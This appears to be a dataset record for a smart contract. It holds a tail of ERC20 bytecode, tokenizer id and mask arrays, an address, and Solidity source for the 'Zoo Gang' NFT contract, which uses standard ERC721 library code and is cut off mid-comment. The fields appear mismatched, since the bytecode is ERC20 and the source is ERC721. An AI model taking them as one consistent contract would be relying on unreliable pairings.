65737360e81b606482015260840161031e565b6001600160a01b038316600090815260208190526040902054818110156106925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106c990849061084f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461073a57600080fd5b919050565b60006020828403121561075157600080fd5b61075a82610723565b9392505050565b6000806040838503121561077457600080fd5b61077d83610723565b915061078b60208401610723565b90509250929050565b6000806000606084860312156107a957600080fd5b6107b284610723565b92506107c060208501610723565b9150604084013590509250925092565b600080604083850312156107e357600080fd5b6107ec83610723565b946020939093013593505050565b600060208083528351808285015260005b818110156108275785810183015185820160400152820161080b565b81811115610839576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561087057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061088957607f821691505b602082108114156108aa57634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220d95f420a541fd45a641352786718fcd4341fbdd1520a52586f640f83c6b4188764736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 21486, 2692, 20842, 2278, 2546, 2629, 4215, 14142, 3401, 2692, 2581, 2475, 2050, 18827, 2692, 2063, 2620, 12521, 4402, 2278, 4246, 23499, 2620, 27421, 14526, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,492
0x96e38fde3e46e240de1461a7785da2a61608c320
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * Zoo Gang powered by Kollectiff * https://zoogangnft.io */ /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; string private baseURI = ""; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI_ = _baseURI(); return bytes(baseURI_).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return baseURI; } function _setBaseURI(string memory baseURI_) internal { baseURI = baseURI_; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address 